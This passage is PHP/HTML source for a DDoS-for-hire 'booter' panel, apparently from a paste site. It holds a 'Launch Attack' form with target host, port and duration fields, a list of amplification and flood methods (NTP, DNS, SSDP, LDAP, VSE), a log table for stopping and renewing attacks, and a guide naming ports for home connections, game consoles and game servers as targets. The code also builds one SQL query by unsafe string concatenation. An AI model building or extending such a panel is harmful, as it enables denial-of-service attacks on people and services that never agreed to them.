- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using Attack Server '.$get_server['name'].'!');
- } else if ($network == 2) {
- echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using all Attack Servers');
- }
- }
- } else {
- echo $design->alert('danger', 'Error', 'Attack Already Running On Target');
- }
- }
- } else {
- echo $design->alert('danger', 'Error', 'No more concurrents available, Consider upgrading!');
- }
- }
- }
- ?>
- <?php
- if(isset($_POST['clearBtn'])){
- $SQL = $odb->prepare("DELETE FROM `logs` WHERE `user` = :username AND `date` + `time` < UNIX_TIMESTAMP()");
- $SQL->execute(array(':username' => $_SESSION['username']));
- $SQL1 = $odb->prepare("DELETE FROM `logs` WHERE `user` = :username AND `date` + `time` > UNIX_TIMESTAMP() AND `stopped` = '1'");
- $SQL1->execute(array(':username' => $_SESSION['username']));
- echo $design->alert('success', 'Success', 'Attack Logs have been cleared!');
- }
- ?>
- <div class="col-sm-5 col-md-5 col-lg-5">
- <div class="card-box">
- <h4 class="header-title m-t-0 m-b-30">Launch Attack</h4>
- <div class="row">
- <div class="col-sm-12 col-md-12 col-lg-12">
- <form class="form-horizontal" method="POST">
- <div class="form-group">
- <div class="col-sm-12 col-md-12 col-lg-12">
- <input type="text" class="form-control" name="host" required="" placeholder="Target (Host or Domain)">
- </div>
- </div>
- <div class="form-group">
- <div class="col-sm-12 col-md-12 col-lg-12">
- <input type="text" class="form-control" name="port" required="" placeholder="80 (Port)">
- </div>
- </div>
- <div class="form-group">
- <div class="col-sm-12 col-md-12 col-lg-12">
- <input type="text" class="form-control" name="time" required="" placeholder="300 (Length)">
- </div>
- </div>
- <div class="form-group">
- <div class="col-sm-6 col-md-6 col-lg-6">
- <select class="form-control select2" name="method">
- <optgroup label="Layer-4 (UDP)">
- <option value="DNS">DNS</option>
- <option value="LAG">LAG</option>
- <option value="NTP">NTP</option>
- <option value="SSDP">SSDP</option>
- <option value="LDAP">LDAP</option>
- </optgroup>
- <optgroup label="Layer-4 (TCP)">
- <option value="ESSYN">ESSYN</option>
- <option value="VSE">VSE</option>
- </optgroup>
- <optgroup label="Layer-7">
- <option value="JOOMLA">Comming Soon</option>
- </select>
- </div>
- <div class="col-sm-6 col-md-6 col-lg-6">
- <select class="form-control" name="network" required="">
- <option value="1">STANDARD NETWORK</option>
- <option value="2">VIP NETWORK</option>
- </select>
- </div>
- </div>
- <button type="submit" name="attackBtn" class="btn btn-primary waves-effect waves-light">Launch Attack</button>
- <a href="#custom-modal" class="btn btn-inverse waves-effect waves-light pull-right" data-animation="fadein" data-plugin="custommodal"
- data-overlaySpeed="200" data-overlayColor="#36404a">Attack Help</a>
- </form>
- </div><!-- end col -->
- </div><!-- end row -->
- </div>
- </div><!-- end col -->
- <div class="col-sm-7 col-md-7 col-lg-7">
- <div class="card-box table-responsive">
- <h4 class="header-title m-t-0 m-b-30">Attack Manager</h4>
- <form method="POST">
- <table id="datatable" class="table table-striped table-bordered">
- <thead>
- <tr>
- <th>ID</th>
- <th>Date</th>
- <th>Target</th>
- <th>Time</th>
- <th>Port</th>
- <th>Method</th>
- <th>Status</th>
- <th>Action</th>
- </tr>
- </thead>
- <tbody class="">
- <?php
- $SQLGetAttackLogs = $odb -> query("SELECT * FROM `logs` WHERE `user` = '".$_SESSION['username']."' ORDER BY `id` DESC");
- while($logs = $SQLGetAttackLogs -> fetch(PDO::FETCH_ASSOC)) {
- $getexpired = 'Expired';
- $expires = $logs['date'] + $logs['time'];
- $expirez = $logs['time'] + $logs['date'] - time();
- if (time() < $expires) {
- if ($logs['stopped'] == "0") {
- $getexpired = 'Running';
- } else {
- $getexpired = 'Expired';
- }
- } else {
- $getexpired = 'Expired';
- }
- ?>
- <tr>
- <td><?php echo $logs['id']; ?></td>
- <td><?php echo date('m-d-Y' ,$logs['date']); ?></td>
- <td><?php echo $logs['ip']; ?></td>
- <td><?php echo $logs['time']; ?></td>
- <td><?php echo $logs['port']; ?></td>
- <td><?php echo $logs['method']; ?></td>
- <td><?php echo $getexpired; ?></td>
- <td class=""><form method="POST"><input type="hidden" name="attackID" value="<?php echo $logs['id']; ?>"><input <?php if (time() > $expires OR $logs['stopped'] == 1) { echo 'type="submit" name="renewBtn" class="btn btn-primary btn-xs" value="Renew Attack"'; } else { echo 'type="submit" name="stopBtn" class="btn btn-danger btn-xs" value="Stop Attack"'; } ?>></form></td>
- </tr>
- <?php
- }
- ?>
- </tbody>
- </table>
- <button type="submit" name="clearBtn" class="btn btn-danger waves-effect waves-light">Clear Attack Logs</button>
- </form>
- </div>
- </div><!-- end col -->
- </div>
- <!-- end row -->
- </div> <!-- container -->
- </div> <!-- content -->
- <footer class="footer text-right">
- 2016-2017 © NinjaBoot, All Rights Reserved.
- </footer>
- </div>
- <!-- Modal -->
- <div id="custom-modal" class="modal-demo">
- <button type="button" class="close" onclick="Custombox.close();">
- <span>×</span><span class="sr-only">Close</span>
- </button>
- <h4 class="custom-modal-title"><center>Quick Start Guide</center></h4>
- <div class="custom-modal-text">
- <center><u>Common Ports & Services</u></center>
- <br>
- <table class="table table-striped table-bordered">
- <thead>
- <tr>
- <th>Port</th>
- <th>Service</th>
- <th>Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>53/80</td>
- <td>Residential</td>
- <td>Home Connections</td>
- </tr>
- <tr>
- <td>80</td>
- <td>HTTP</td>
- <td>Default Web Traffic</td>
- </tr>
- <tr>
- <td>443</td>
- <td>HTTPS</td>
- <td>Secure Web Traffic</td>
- </tr>
- <tr>
- <td>3306</td>
- <td>MySQL</td>
- <td>Database Management</td>
- </tr>
- <tr>
- <td>3704</td>
- <td>Xbox</td>
- <td>Default Xbox</td>
- </tr>
- <tr>
- <td>9987</td>
- <td>TeamSpeak 3</td>
- <td>Default Voice/IP</td>
- </tr>
- <tr>
- <td>25565</td>
- <td>Minecraft</td>
- <td>Default Server</td>
- </tr>
- </tbody>
- </table>
- <hr>
- <center><u>Layer-4 vs Layer-7</u></center>
- <br>
- <table class="table table-striped table-bordered">
- <thead>
- <tr>
- <th>Type</th>
- <th>Target</th>
- <th>Description</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Layer-4</td>
- <td>127.0.0.1 (IP Address)</td>
- <td>Home Connections, Servers, Etc</td>
- </tr>
- <tr>
- <td>Layer-7</td>
- <td>http://website.com/ (Domain)</td>
- <td>Mainly Websites</td>
- </tr>
- </tbody>
- </table>
- </div>
- </div>
- <!-- ============================================================== -->
- <!-- End Right content here -->
- <!-- ============================================================== -->
- </div>
- <!-- END wrapper -->
- <script>
- var resizefunc = [];
- </script>
- <!-- jQuery -->
- <script src="assets/js/jquery.min.js"></script>
- <script src="assets/js/bootstrap.min.js"></script>
- <script src="assets/js/detect.js"></script>
- <script src="assets/js/fastclick.js"></script>
- <script src="assets/js/jquery.slimscroll.js"></script>
- <script src="assets/js/jquery.blockUI.js"></script>
- <script src="assets/js/waves.js"></script>
- <script src="assets/js/jquery.nicescroll.js"></script>
- <script src="assets/js/jquery.slimscroll.js"></script>
- <script src="assets/js/jquery.scrollTo.min.js"></script>
- <!-- Datatables-->
- <script src="assets/plugins/datatables/jquery.dataTables.min.js"></script>
- <script src="assets/plugins/datatables/dataTables.bootstrap.js"></script>
- <script src="assets/plugins/datatables/dataTables.buttons.min.js"></script>
- <script src="assets/plugins/datatables/buttons.bootstrap.min.js"></script>
- <script src="assets/plugins/datatables/jszip.min.js"></script>
- <script src="assets/plugins/datatables/pdfmake.min.js"></script>
- <script src="assets/plugins/datatables/vfs_fonts.js"></script>
- <script src="assets/plugins/datatables/buttons.html5.min.js"></script>
- <script src="assets/plugins/datatables/buttons.print.min.js"></script>
- <script src="assets/plugins/datatables/dataTables.fixedHeader.min.js"></script>
- <script src="assets/plugins/datatables/dataTables.keyTable.min.js"></script>
- <script src="assets/plugins/datatables/dataTables.responsive.min.js"></script>
- <script src="assets/plugins/datatables/responsive.bootstrap.min.js"></script>
- <script src="assets/plugins/datatables/dataTables.scroller.min.js"></script>
- <!-- Modal-Effect -->
- <script src="assets/plugins/custombox/dist/custombox.min.js"></script>
- <script src="assets/plugins/custombox/dist/legacy.min.js"></script>
- <!-- KNOB JS -->
- <!--[if IE]>
- <script type="text/javascript" src="assets/plugins/jquery-knob/excanvas.js"></script>
- <![endif]-->
- <script src="assets/plugins/jquery-knob/jquery.knob.js"></script>
- <!-- Dashboard init -->
- <script src="assets/pages/jquery.dashboard.js"></script>
- <!-- App js -->
- <script src="assets/js/jquery.core.js"></script>
- <script src="assets/js/jquery.app.js"></script>
- <script type="text/javascript">
- $(document).ready(function() {
- $('#datatable').dataTable();
- $('#datatable-keytable').DataTable( { keys: true } );
- $('#datatable-responsive').DataTable();
- $('#datatable-scroller').DataTable( { ajax: "assets/plugins/datatables/json/scroller-demo.json", deferRender: true, scrollY: 380, scrollCollapse: true, scroller: true } );
- var table = $('#datatable-fixed-header').DataTable( { fixedHeader: true } );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement